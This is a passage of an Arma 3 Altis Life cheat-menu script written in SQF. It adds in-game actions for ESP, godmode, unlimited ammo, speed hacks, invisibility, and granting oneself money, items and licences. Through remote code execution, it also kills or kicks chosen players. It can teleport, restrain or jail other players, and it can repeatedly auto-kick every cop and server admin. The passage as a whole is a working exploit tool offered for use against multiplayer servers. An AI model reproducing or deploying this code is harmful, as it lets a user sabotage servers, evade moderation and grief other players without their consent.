  1148. }, "", 50];
  1149. _AllUnits = playableUnits;
  1150. _CountAllUnits = count _AllUnits;
  1151. _Selected = 0;
  1152. for "_Selected"
  1153. from 0 to _CountAllUnits do {
  1154. _TargetUnit = _AllUnits select _Selected;
  1155. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  1156. };
  1157. Aaron is sexy updated_PlayerList = {
  1158. {
  1159. if ((isPlayer _x) && (alive _x)) then {
  1160. player addAction[format["%1 - %2", _x, name _x], {
  1161. tp_player = (_this select 3);
  1162. openMap[true, false];
  1163. onMapSingleClick '_pos1 = [(_pos select 0), (_pos select 1), 0];vehicle tp_player setPos _pos1;hint format [ "%1 \n was teleported to \n %2 \n by Aaron is sexy updated", name tp_player, _pos1]onMapSingleClick "";openMap [false, false];';
  1164. }, _x]
  1165. };
  1166. }
  1167. forEach(playableUnits);
  1168. };
  1169. [] call Aaron is sexy updated_PlayerList;
  1170. }, "", 50];
  1171. player addAction["Teleport Player to me", {
  1172. removeallactions player;
  1173. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1174. removeallactions player;
  1175. call init_main;
  1176. }, "", 50];
  1177. player addAction["<t color='#000000'>----------------------</t>", {
  1178. hint "Menu by Aaron is sexy updated";
  1179. }, "", 50];
  1180. _AllUnits = playableUnits;
  1181. _CountAllUnits = count _AllUnits;
  1182. _Selected = 0;
  1183. for "_Selected"
  1184. from 0 to _CountAllUnits do {
  1185. _TargetUnit = _AllUnits select _Selected;
  1186. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  1187. };
  1188. Aaron is sexy updated_PlayerList = {
  1189. {
  1190. if ((isPlayer _x) && (alive _x)) then {
  1191. player addAction[format["%1 - %2", _x, name _x], {
  1192. _player = (_this select 3);
  1193. vehicle _player setPos[(getpos player select 0) + 5, (getpos player select 1) + 5, (getpos player select 2)];
  1194. hint format["%1 \n was Teleported to you \n by Aaron is sexy updated", name _player];
  1195. }, _x]
  1196. };
  1197. }
  1198. forEach(playableUnits);
  1199. };
  1200. [] call Aaron is sexy updated_PlayerList;
  1201. }, "", 50];
  1202. player addAction["Teleport me to Player", {
  1203. removeallactions player;
  1204. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1205. removeallactions player;
  1206. call init_main;
  1207. }, "", 50];
  1208. player addAction["<t color='#000000'>----------------------</t>", {
  1209. hint "Menu by Aaron is sexy updated";
  1210. }, "", 50];
  1211. _AllUnits = playableUnits;
  1212. _CountAllUnits = count _AllUnits;
  1213. _Selected = 0;
  1214. for "_Selected"
  1215. from 0 to _CountAllUnits do {
  1216. _TargetUnit = _AllUnits select _Selected;
  1217. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  1218. };
  1219. Aaron is sexy updated_PlayerList = {
  1220. {
  1221. if ((isPlayer _x) && (alive _x)) then {
  1222. player addAction[format["%1 - %2", _x, name _x], {
  1223. _player = (_this select 3);
  1224. vehicle player setPos[(getpos _player select 0) + 5, (getpos _player select 1) + 5, (getpos _player select 2)];
  1225. hint format["You have been Ported to \n %1 \n by Aaron is sexy updated", name _player];
  1226. }, _x]
  1227. };
  1228. }
  1229. forEach(playableUnits);
  1230. };
  1231. [] call Aaron is sexy updated_PlayerList;
  1232. }, "", 50];
  1233. player addAction["Teleport me to Player (Stealth)", {
  1234. removeallactions player;
  1235. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1236. removeallactions player;
  1237. call init_main;
  1238. }, "", 50];
  1239. player addAction["<t color='#000000'>----------------------</t>", {
  1240. hint "Menu by Aaron is sexy updated";
  1241. }, "", 50];
  1242. _AllUnits = playableUnits;
  1243. _CountAllUnits = count _AllUnits;
  1244. _Selected = 0;
  1245. for "_Selected"
  1246. from 0 to _CountAllUnits do {
  1247. _TargetUnit = _AllUnits select _Selected;
  1248. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  1249. };
  1250. Aaron is sexy updated_PlayerList = {
  1251. {
  1252. if ((isPlayer _x) && (alive _x)) then {
  1253. player addAction[format["%1 - %2", _x, name _x], {
  1254. _player = (_this select 3);
  1255. vehicle player setPos[(getpos _player select 0) + 100, (getpos _player select 1) + 100, (getpos _player select 2)];
  1256. hint format["You have been Ported to \n %1 \n by Aaron is sexy updated", name _player];
  1257. }, _x]
  1258. };
  1259. }
  1260. forEach(playableUnits);
  1261. };
  1262. [] call Aaron is sexy updated_PlayerList;
  1263. }, "", 50];
  1264. };
  1265. ExtrasMenubyAaron is sexy updated = {
  1266. removeallactions player;
  1267. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1268. removeallactions player;
  1269. call init_main;
  1270. }, "", 50];
  1271. player addAction["<t color='#000000'>----------------------</t>", {
  1272. hint "Menu by Aaron is sexy updated";
  1273. }, "", 50];
  1274. player addAction["Map Markers", {
  1275. Aaron is sexy updated_Noobs = [];
  1276. Aaron is sexy updated_Bitches = [];
  1277. if (isnil "Aaron is sexy updated_Map_Markers") then {
  1278. Aaron is sexy updated_Map_Markers = 0;
  1279. };
  1280. if (Aaron is sexy updated_Map_Markers == 0) then {
  1281. Aaron is sexy updated_Map_Markers = 1;
  1282. hint "Player Markers \n by Aaron is sexy updated \n ON";
  1283. } else {
  1284. Aaron is sexy updated_Map_Markers = 0;
  1285. hint "Player Markers \n by Aaron is sexy updated \n OFF";
  1286. };
  1287. while {
  1288. Aaron is sexy updated_Map_Markers == 1
  1289. }
  1290. do {
  1291. {
  1292. if ((vehicle _x isKindOf "LandVehicle") || (vehicle _x isKindOf "Air") || (vehicle _x isKindOf "Ship")) then {
  1293. if (count(crew vehicle _x) > 0) then {
  1294. {
  1295. if (!(_x in Aaron is sexy updated_Noobs) and(alive _x) and(getPlayerUID _x != "")) then {
  1296. private["_pos", "_l44", "_l45"];
  1297. _l45 = vehicle _x;
  1298. _pos = visiblePosition _x;
  1299. _l44 = createMarkerLocal[format["CRW%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 00, _pos select 1, 0]];
  1300. _l8 = (gettext(configFile >> 'CfgVehicles' >> (typeof vehicle _x) >> 'displayName'));
  1301. _l44 setMarkerTextLocal format['%1---%2---%3m', name _x, _l8, round(_x distance player)];
  1302. _l44 setMarkerTypeLocal "mil_dot";
  1303. if ((side _x == side player) and(side _x != resistance)) then {
  1304. _l44 setMarkerColorLocal "ColorBlue";
  1305. } else {
  1306. _l44 setMarkerColorLocal "ColorRed";
  1307. };
  1308. _l44 setMarkerSizeLocal[1, 1];
  1309. Aaron is sexy updated_Noobs set[count Aaron is sexy updated_Noobs, _x];
  1310. [_x, _l44, _l45] spawn {
  1311. private["_l46", "_l47", "_l48"];
  1312. _l46 = _this select 0;
  1313. _l47 = _this select 1;
  1314. while {
  1315. (Aaron is sexy updated_Map_Markers == 1) and(alive _l46) and(vehicle _l46 != _l46) and(getPlayerUID _l46 != "")
  1316. }
  1317. do {
  1318. _l48 = ((crew vehicle _l46) find _l46);
  1319. _l47 setMarkerPosLocal([(visiblePosition _l46 select 0) + 00, (visiblePosition _l46 select 1) - (25 + _l48 * 20), 0]);
  1320. sleep 0.01;
  1321. };
  1322. deleteMarkerLocal _l47;
  1323. if (_l46 in Aaron is sexy updated_Noobs) then {
  1324. Aaron is sexy updated_Noobs set[(Aaron is sexy updated_Noobs find _l46), -1];
  1325. Aaron is sexy updated_Noobs = Aaron is sexy updated_Noobs - [-1];
  1326. };
  1327. true;
  1328. };
  1329. };
  1330. }
  1331. forEach crew vehicle _x;
  1332. };
  1333. } else {
  1334. if (!(_x in Aaron is sexy updated_Bitches) and(vehicle _x == _x) and(getPlayerUID _x != "")) then {
  1335. private["_pos", "_l44"];
  1336. _pos = visiblePosition _x;
  1337. _l44 = createMarkerLocal[format["PLR%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 00, _pos select 1, 0]];
  1338. _l44 setMarkerTypeLocal "mil_dot";
  1339. _l44 setMarkerSizeLocal[1, 1];
  1340. if ((side _x == side player) and(side _x != resistance)) then {
  1341. _l44 setMarkerColorLocal "ColorWhite";
  1342. } else {
  1343. _l44 setMarkerColorLocal "ColorRed";
  1344. };
  1345. _l44 setMarkerTextLocal format["%1---%2", name _x, round(_x distance player)];
  1346. if (_x == player) then {
  1347. _l44 setMarkerColorLocal "ColorGreen";
  1348. };
  1349. Aaron is sexy updated_Bitches set[count Aaron is sexy updated_Bitches, _x];
  1350. [_x, _l44] spawn {
  1351. private["_l46", "_l47"];
  1352. _l46 = _this select 0;
  1353. _l47 = _this select 1;
  1354. while {
  1355. (Aaron is sexy updated_Map_Markers == 1) and(alive _l46) and(vehicle _l46 == _l46) and(getPlayerUID _l46 != "")
  1356. }
  1357. do {
  1358. _l47 setMarkerPosLocal([visiblePosition _l46 select 0, visiblePosition _l46 select 1, 0]);
  1359. sleep 0.01;
  1360. };
  1361. deleteMarkerLocal _l47;
  1362. if (_l46 in Aaron is sexy updated_Bitches) then {
  1363. Aaron is sexy updated_Bitches set[(Aaron is sexy updated_Bitches find _l46), -1];
  1364. Aaron is sexy updated_Bitches = Aaron is sexy updated_Bitches - [-1];
  1365. };
  1366. true;
  1367. };
  1368. };
  1369. };
  1370. }
  1371. forEach playableUnits;
  1372. sleep 0.3;
  1373. }; {
  1374. _l44 = str _x;
  1375. deleteMarkerLocal _l44;
  1376. }
  1377. forEach playableUnits;
  1378. }, "", 50];
  1379. player addAction["Esp Markers", {
  1380. if (isnil("Aaron is sexy updated_ESP")) then {
  1381. Aaron is sexy updated_ESP = 0;
  1382. };
  1383. if (Aaron is sexy updated_ESP == 0) then {
  1384. Aaron is sexy updated_ESP = 1;
  1385. hint "Aaron is sexy updated_ESP \n by Aaron is sexy updated \n ON";
  1386. } else {
  1387. Aaron is sexy updated_ESP = 0;
  1388. hint "Aaron is sexy updated_ESP \n by Aaron is sexy updated \n OFF";
  1389. };
  1390. if (Aaron is sexy updated_ESP == 1) then {
  1391. onEachFrame {
  1392. _l49 = nearestobjects[player, ["CAManBase"], 1500]; {
  1393. if ((side _x != side player) && (getPlayerUID _x != "") && ((player distance _x) < 1500)) then {
  1394. drawIcon3D["", [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"]
  1395. } else {
  1396. if ((getPlayerUID _x != "") && ((player distance _x) < 1500)) then {
  1397. drawIcon3D["", [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"]
  1398. };
  1399. };
  1400. }
  1401. foreach playableUnits;
  1402. };
  1403. } else {
  1404. onEachFrame {
  1405. nil
  1406. };
  1407. };
  1408. }, "", 50];
  1409. player addAction["GodMode", {
  1410. if (isNil("Aaron is sexy updated_God")) then {
  1411. Aaron is sexy updated_God = 0;
  1412. };
  1413. if (Aaron is sexy updated_God == 0) then {
  1414. Aaron is sexy updated_God = 1;
  1415. hint "Godmode \n by Aaron is sexy updated \n ON";
  1416. player removeAllEventHandlers "handleDamage";
  1417. player addEventHandler["handleDamage", {
  1418. false
  1419. }];
  1420. player allowDamage false;
  1421. vehicle player removeAllEventHandlers "handleDamage";
  1422. vehicle player addEventHandler["handleDamage", {
  1423. false
  1424. }];
  1425. vehicle player allowDamage false;
  1426. } else {
  1427. Aaron is sexy updated_God = 0;
  1428. hint "Godmode \n by Aaron is sexy updated \n OFF";
  1429. player addEventHandler["handleDamage", {
  1430. true
  1431. }];
  1432. player removeAllEventHandlers "handleDamage";
  1433. player allowDamage true;
  1434. vehicle player addEventHandler["handleDamage", {
  1435. true
  1436. }];
  1437. vehicle player removeAllEventHandlers "handleDamage";
  1438. vehicle player allowDamage true;
  1439. };
  1440. }, "", 50];
  1441. player addAction["Unlimit Ammo", {
  1442. if (isnil("Aaron is sexy updated_Unlim_Ammo")) then {
  1443. Aaron is sexy updated_Unlim_Ammo = 0;
  1444. };
  1445. if (Aaron is sexy updated_Unlim_Ammo == 0) then {
  1446. Aaron is sexy updated_Unlim_Ammo = 1;
  1447. hint "Unlimit Ammo \n by Aaron is sexy updated \n ON";
  1448. } else {
  1449. Aaron is sexy updated_Unlim_Ammo = 0;
  1450. hint "Unlimit Ammo \n by Aaron is sexy updated \n OFF";
  1451. };
  1452. while {
  1453. Aaron is sexy updated_Unlim_Ammo == 1
  1454. }
  1455. do {
  1456. _l25 = primaryWeapon player;
  1457. _l31 = secondaryWeapon player;
  1458. player setAmmo[_l25, 999];
  1459. player setAmmo[_l31, 999];
  1460. (vehicle player) setVehicleAmmo 1;
  1461. (vehicle player) setVehicleAmmo 1;
  1462. sleep 0.01;
  1463. };
  1464. }, "", 50];
  1465. player addAction["Unlimit Sprint", {
  1466. if (isnil("Aaron is sexy updated_Sprint")) then {
  1467. Aaron is sexy updated_Sprint = 0;
  1468. };
  1469. if (Aaron is sexy updated_Sprint == 0) then {
  1470. Aaron is sexy updated_Sprint = 1;
  1471. hint "Unlimit Sprint \n by Aaron is sexy updated \n ON";
  1472. } else {
  1473. Aaron is sexy updated_Sprint = 0;
  1474. hint "Unlimit Sprint \n by Aaron is sexy updated \n OFF";
  1475. };
  1476. while {
  1477. Aaron is sexy updated_Sprint == 1
  1478. }
  1479. do {
  1480. player setFatigue 0;
  1481. };
  1482. }, "", 50];
  1483. player addAction["Rapid Fire", {
  1484. if (isnil("Aaron is sexy updated_Rapid")) then {
  1485. Aaron is sexy updated_Rapid = 0;
  1486. };
  1487. if (Aaron is sexy updated_Rapid == 0) then {
  1488. Aaron is sexy updated_Rapid = 1;
  1489. hint "Rapid Fire \n by Aaron is sexy updated \n ON";
  1490. } else {
  1491. Aaron is sexy updated_Rapid = 0;
  1492. hint "Rapid Fire \n by Aaron is sexy updated \n OFF";
  1493. };
  1494. while {
  1495. Aaron is sexy updated_Rapid == 1
  1496. }
  1497. do {
  1498. (vehicle player) setWeaponReloadingTime[(vehicle player), currentWeapon(vehicle player), 0];
  1499. player setWeaponReloadingTime[player, currentWeapon player, 0];
  1500. sleep 0.01;
  1501. };
  1502. }, "", 50];
  1503. player addAction["<t color='#000000'>----------------------</t>", {
  1504. hint "Menu by Aaron is sexy updated";
  1505. }, "", 50];
  1506. player addAction["<t color='#FFFF00'>No Recoil</t>", {
  1507. if (isnil("Aaron is sexy updated_NoRecoil")) then {
  1508. Aaron is sexy updated_NoRecoil = 0;
  1509. };
  1510. if (Aaron is sexy updated_NoRecoil == 0) then {
  1511. Aaron is sexy updated_NoRecoil = 1;
  1512. hint "No Recoil \n by Aaron is sexy updated \n ON";
  1513. (vehicle player) setUnitRecoilCoefficient 0;
  1514. } else {
  1515. Aaron is sexy updated_NoRecoil = 0;
  1516. hint "No Recoil \n by Aaron is sexy updated \n OFF";
  1517. (vehicle player) setUnitRecoilCoefficient 1;
  1518. };
  1519. }, "", 50];
  1520. player addAction["ExplosivShot", {
  1521. if (isNil "Aaron is sexy updated_ExplosivShot") then {
  1522. Aaron is sexy updated_ExplosivShot = 0
  1523. };
  1524. if (Aaron is sexy updated_ExplosivShot == 0) then {
  1525. Aaron is sexy updated_ExplosivShot = 1;
  1526. vehicle player removeAllEventHandlers "Fired";
  1527. hint "Super Explosiv Bullets \n by Aaron is sexy updated \n ON";
  1528. vehicle player addeventhandler["Fired", {
  1529. call BigFuckinBullets
  1530. }];
  1531. BigFuckinBullets = {
  1532. if (isNull cursorTarget) then {
  1533. TargetPlayer = screenToWorld[0.5, 0.5];
  1534. } else {
  1535. TargetPlayer = getpos cursorTarget;
  1536. };
  1537. _spwnboom = "HelicopterExploBig"
  1538. createVehiclelocal TargetPlayer; /*_spwnboom = "HelicopterExploBig" createVehiclelocal TargetPlayer;_spwnboom = "Bo_FAB_250" createVehiclelocal TargetPlayer;_spwnboom = "Sh_120_HE" createVehiclelocal TargetPlayer;_spwnboom = "Bo_Mk82" createVehiclelocal TargetPlayer;*/
  1539. };
  1540. } else {
  1541. Aaron is sexy updated_ExplosivShot = 0;
  1542. hint "Super Explosiv Bullets \n by Aaron is sexy updated \n OFF";
  1543. vehicle player removeAllEventHandlers "Fired";
  1544. };
  1545. }, "", 50];
  1546. player addAction["Speed Hack", {
  1547. if (isnil("Aaron is sexy updated_Speed")) then {
  1548. Aaron is sexy updated_Speed = 0;
  1549. };
  1550. if (Aaron is sexy updated_Speed == 0) then {
  1551. Aaron is sexy updated_Speed = 1;
  1552. hint "Speehack \n by Aaron is sexy updated \n ON";
  1553. waituntil {
  1554. !isnull(finddisplay 46)
  1555. };
  1556. Speedhaxxx = (findDisplay 46) displayAddEventHandler["KeyDown", "_this select 1 call MY_KEYDOWN_FNC;false;"];
  1557. MY_KEYDOWN_FNC = {
  1558. _vehicle_player = vehicle player;
  1559. if (_vehicle_player == player) exitwith {};
  1560. _nos = _vehicle_player getvariable "boost_shiftl";
  1561. _supgrade = _vehicle_player getvariable "boost_e";
  1562. if (isEngineOn _vehicle_player) then {
  1563. switch (_this) do {
  1564. case 18:
  1565. /* KEY E */ {
  1566. if (isEngineOn _vehicle_player and!isnil "_supgrade") then {
  1567. _vehicle_player SetVelocity[(velocity _vehicle_player select 0) * 1.15, (velocity _vehicle_player select 1) * 1.07, (velocity _vehicle_player select 2) * 0.99];
  1568. } else {
  1569. _vehicle_player setvariable["boost_e", 1, true];
  1570. };
  1571. };
  1572. case 42:
  1573. /* KEY SHIFTL */ {
  1574. if (isEngineOn _vehicle_player and!isnil "_nos") then {
  1575. _vehicle_player setVelocity[(velocity _vehicle_player select 0) * 1.03, (velocity _vehicle_player select 1) * 1.1, (velocity _vehicle_player select 2) * 1.00];
  1576. } else {
  1577. _vehicle_player setvariable["boost_shiftl", 1, true];
  1578. };
  1579. };
  1580. };
  1581. };
  1582. };
  1583. } else {
  1584. Aaron is sexy updated_Speed = 0;
  1585. hint "Speehack \n by Aaron is sexy updated \n OFF";
  1586. (findDisplay 46) displayRemoveEventHandler["KeyDown", Speedhaxxx];
  1587. _nos = nil;
  1588. _vehicle_player = nil;
  1589. };
  1590. }, "", 50];
  1591. player addAction["Invisible", {
  1592. if (isnil("Aaron is sexy updated_Invis")) then {
  1593. Aaron is sexy updated_Invis = 0;
  1594. };
  1595. if (Aaron is sexy updated_Invis == 0) then {
  1596. Aaron is sexy updated_Invis = 1;
  1597. hint "Invis \n by Aaron is sexy updated \n ON";
  1598. } else {
  1599. Aaron is sexy updated_Invis = 0;
  1600. hint "Invis \n by Aaron is sexy updated \n OFF";
  1601. };
  1602. if (Aaron is sexy updated_Invis == 1) then {
  1603. Invis_Name = name player;
  1604. [{
  1605. {
  1606. if (name _x == Invis_Name) then {
  1607. _x hideObjectGlobal true
  1608. };
  1609. }
  1610. foreach playableUnits;
  1611. }, "BIS_fnc_spawn", false, true] spawn BIS_fnc_MP;
  1612. } else {
  1613. [{
  1614. {
  1615. if (name _x == Invis_Name) then {
  1616. _x hideObjectGlobal false
  1617. };
  1618. }
  1619. foreach playableUnits;
  1620. }, "BIS_fnc_spawn", false, true] spawn BIS_fnc_MP;
  1621. };
  1622. }, "", 50];
  1623. player addAction["License", {
  1624. life_licenses = [ /*["license_cop_air","cop"],["license_cop_swat","cop"],["license_cop_cg","cop"],["license_civ_driver","civ"],["license_civ_air","civ"],["license_civ_heroin","civ"],["license_civ_marijuana","civ"],["license_civ_gang","civ"],["license_civ_boat","civ"],["license_civ_oil","civ"],["license_civ_dive","civ"],["license_civ_truck","civ"],["license_civ_gun","civ"],["license_civ_rebel","civ"],["license_civ_coke","civ"],["license_civ_diamond","civ"],["license_civ_copper","civ"],["license_civ_iron","civ"],["license_civ_sand","civ"],["license_civ_salt","civ"],["license_civ_cement","civ"]*/
  1625. ["license_civ_driver", "civ"],
  1626. ["license_civ_truck", "civ"],
  1627. ["license_civ_air", "civ"],
  1628. ["license_civ_gun", "civ"],
  1629. ["license_civ_rebel", "civ"],
  1630. ["license_civ_diamond", "civ"],
  1631. ["license_civ_heroin", "civ"],
  1632. ["license_civ_marijuana", "civ"]
  1633. ]; {
  1634. missionNamespace setVariable[(_x select 0), true];
  1635. }
  1636. foreach life_licenses;
  1637. hint "Licens are given \n by Aaron is sexy updated";
  1638. }, "", 50];
  1639. player addAction["<t color='#000000'>----------------------</t>", {
  1640. hint "Menu by Aaron is sexy updated";
  1641. }, "", 50];
  1642. player addAction["Restrain Target", {
  1643. hint format["%1 was restrained \n by Aaron is sexy updated", name cursorTarget];
  1644. cursorTarget setVariable["restrained", true, true];
  1645. [
  1646. [cursorTarget], "life_fnc_restrain", cursorTarget, false
  1647. ] spawn life_fnc_MP;
  1648. }, "", 50];
  1649. player addAction["Unrestrain Target", {
  1650. hint format["%1 was released \n by Aaron is sexy updated", name cursorTarget];
  1651. cursorTarget setVariable["restrained", false, true];
  1652. }, "", 50];
  1653. player addAction["Unrestrain Myself", {
  1654. hint "You are free \n by Aaron is sexy updated";
  1655. player setVariable["restrained", FALSE, TRUE];
  1656. }, "", 50];
  1657. player addAction["Escort on", {
  1658. cursorTarget attachTo[player, [0.1, 1.1, 0]];
  1659. cursorTarget setVariable["transporting", false, true];
  1660. cursorTarget setVariable["Escorting", true, true];
  1661. }, "", 50];
  1662. player addAction["Escort off", {
  1663. detach cursorTarget;
  1664. cursorTarget setVariable["Escorting", false, true];
  1665. }, "", 50];
  1666. player addAction["Jail Target", {
  1667. cursorTarget setPos(getMarkerPos "jail_marker");
  1668. }, "", 50];
  1669. player addAction["Unjail Target", {
  1670. cursorTarget setPos(getMarkerPos "jail_release");
  1671. }, "", 50];
  1672. };
  1673. ServerMenubyAaron is sexy updated = {
  1674. removeallactions player;
  1675. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1676. removeallactions player;
  1677. call init_main;
  1678. }, "", 50];
  1679. player addAction["<t color='#000000'>----------------------</t>", {
  1680. hint "Menu by Aaron is sexy updated";
  1681. }, "", 50];
  1682. player addAction["Kill one <t color='#FFFF00'>Player</t>", {
  1683. removeallactions player;
  1684. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1685. removeallactions player;
  1686. call init_main;
  1687. }, "", 50];
  1688. player addAction["<t color='#000000'>----------------------</t>", {
  1689. hint "Menu by Aaron is sexy updated";
  1690. }, "", 50];
  1691. _AllUnits = playableUnits;
  1692. _CountAllUnits = count _AllUnits;
  1693. _Selected = 0;
  1694. for "_Selected"
  1695. from 0 to _CountAllUnits do {
  1696. _TargetUnit = _AllUnits select _Selected;
  1697. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  1698. };
  1699. Aaron is sexy updated_PlayerList = {
  1700. {
  1701. if ((isPlayer _x) && (alive _x)) then {
  1702. player addAction[format["%1 - %2", _x, name _x], {
  1703. _player = (_this select 3);
  1704. [_player, "player SetDamage 100;"] call Aaron is sexy updated;
  1705. hint format["%1 has been killed by Aaron is sexy updated", name _player];
  1706. }, _x]
  1707. };
  1708. }
  1709. forEach(playableUnits);
  1710. };
  1711. [] call Aaron is sexy updated_PlayerList;
  1712. }, "", 50];
  1713. player addAction["Kick one <t color='#FFFF00'>Player</t>", {
  1714. removeallactions player;
  1715. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1716. removeallactions player;
  1717. call init_main;
  1718. }, "", 50];
  1719. player addAction["<t color='#000000'>----------------------</t>", {
  1720. hint "Menu by Aaron is sexy updated";
  1721. }, "", 50];
  1722. _AllUnits = playableUnits;
  1723. _CountAllUnits = count _AllUnits;
  1724. _Selected = 0;
  1725. for "_Selected"
  1726. from 0 to _CountAllUnits do {
  1727. _TargetUnit = _AllUnits select _Selected;
  1728. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %2 \n ----------------------------------------------- \n ", _CountAllUnits, _Selected];
  1729. };
  1730. Aaron is sexy updated_PlayerList = {
  1731. {
  1732. if ((isPlayer _x) && (alive _x)) then {
  1733. player addAction[format["%1 - %2", _x, name _x], {
  1734. _player = (_this select 3);
  1735. [_player, "failMission'LOSER'; 0 fadeSound 0; for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};"] call Aaron is sexy updated;
  1736. hint format["%1 has been kicked by Aaron is sexy updated", name _player];
  1737. }, _x]
  1738. };
  1739. }
  1740. forEach(playableUnits);
  1741. };
  1742. [] call Aaron is sexy updated_PlayerList;
  1743. }, "", 50];
  1744. player addAction["Kick all <t color='#0000FF'>Cops</t>", {
  1745. if (isnil("Cop_Admins")) then {
  1746. Cop_Admins = 0;
  1747. };
  1748. if (Cop_Admins == 0) then {
  1749. Cop_Admins = 1;
  1750. hint "Auto Cop kick \n by Aaron is sexy updated \n ON";
  1751. } else {
  1752. Cop_Admins = 0;
  1753. hint "Auto Cop kick \n by Aaron is sexy updated \n OFF";
  1754. };
  1755. while {
  1756. Cop_Admins == 1
  1757. }
  1758. do {
  1759. [TRUE, "if(call life_coplevel > 0) then {failMission'LOSER'; 0 fadeSound 0; for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};"] call Aaron is sexy updated;
  1760. sleep 15;
  1761. };
  1762. }, "", 50];
  1763. player addAction["Kick all <t color='#FF0000'>Admins</t>", {
  1764. if (isnil("Kick_Admins")) then {
  1765. Kick_Admins = 0;
  1766. };
  1767. if (Kick_Admins == 0) then {
  1768. Kick_Admins = 1;
  1769. hint "Auto Admin kick \n by Aaron is sexy updated \n ON";
  1770. } else {
  1771. Kick_Admins = 0;
  1772. hint "Auto Admin kick \n by Aaron is sexy updated \n OFF";
  1773. };
  1774. while {
  1775. Kick_Admins == 1
  1776. }
  1777. do {
  1778. [TRUE, "if(call life_adminlevel > 0) then {failMission'LOSER'; 0 fadeSound 0; for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};"] call Aaron is sexy updated;
  1779. sleep 15;
  1780. };
  1781. }, "", 50];
  1782. player addAction["<t color='#000000'>----------------------</t>", {
  1783. hint "Menu by Aaron is sexy updated";
  1784. }, "", 50];
  1785. player addAction["Add Inventory", {
  1786. removeallactions player;
  1787. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1788. removeallactions player;
  1789. call init_main;
  1790. }, "", 3];
  1791. player addAction["<t color='#000000'>----------------------</t>", {
  1792. hint "Menu by Aaron is sexy updated";
  1793. }, "", 3];
  1794. player addAction["Add 1 Pickaxe", {
  1795. life_inv_pickaxe = life_inv_pickaxe + 1;
  1796. hint "Item Added";
  1797. }, "", 3];
  1798. player addAction["Add 3 Lockpick", {
  1799. life_inv_lockpick = life_inv_lockpick + 3;
  1800. hint "Item Added";
  1801. }, "", 3];
  1802. player addAction["Add 3 Water", {
  1803. life_inv_water = life_inv_water + 3;
  1804. hint "Item Added";
  1805. }, "", 3];
  1806. player addAction["Add 3 Apple", {
  1807. life_inv_apple = life_inv_apple + 3;
  1808. hint "Item Added";
  1809. }, "", 3];
  1810. player addAction["Add 3 Coffee", {
  1811. life_inv_coffee = life_inv_coffee + 3;
  1812. hint "Item Added";
  1813. }, "", 3];
  1814. player addAction["Add 3 Donut", {
  1815. life_inv_donuts = life_inv_donuts + 3;
  1816. hint "Item Added";
  1817. }, "", 3];
  1818. player addAction["<t color='#000000'>----------------------</t>", {
  1819. hint "Menu by Aaron is sexy updated";
  1820. }, "", 3];
  1821. player addAction["Add 25 Diamond", {
  1822. life_inv_diamond = life_inv_diamond + 25;
  1823. hint "Item Added";
  1824. }, "", 3];
  1825. player addAction["Add 25 Chopper", {
  1826. life_inv_copperr = life_inv_copperr + 25;
  1827. hint "Item Added";
  1828. }, "", 3];
  1829. player addAction["Add 25 Salt", {
  1830. life_inv_saltr = life_inv_saltr + 25;
  1831. hint "Item Added";
  1832. }, "", 3];
  1833. player addAction["Add 100 Cocain", {
  1834. life_inv_cokep = life_inv_cokep + 100;
  1835. hint "Item Added";
  1836. }, "", 3];
  1837. player addAction["Add 100 Heroin", {
  1838. life_inv_heroinp = life_inv_heroinp + 100;
  1839. hint "Item Added";
  1840. }, "", 3];
  1841. player addAction["Add 100 Marijuana", {
  1842. life_inv_marijuana = life_inv_marijuana + 100;
  1843. hint "Item Added";
  1844. }, "", 3];
  1845. player addAction["<t color='#000000'>----------------------</t>", {
  1846. hint "Menu by Aaron is sexy updated";
  1847. }, "", 3];
  1848. }, "", 50];
  1849. player addAction["Give me Money", {
  1850. removeallactions player;
  1851. player addAction["<t color='#FF0000'>Close Menu</t>", {
  1852. removeallactions player;
  1853. call init_main;
  1854. }, "", 50];
  1855. player addAction["<t color='#000000'>----------------------</t>", {
  1856. hint "Menu by Aaron is sexy updated";
  1857. }, "", 50];
  1858. player addAction[" 5k", {
  1859. life_Cash = Life_Cash + 5000;
  1860. hint "You got Money \n by Aaron is sexy updated";
  1861. }, "", 50];
  1862. player addAction[" 25k", {
  1863. life_Cash = Life_Cash + 25000;
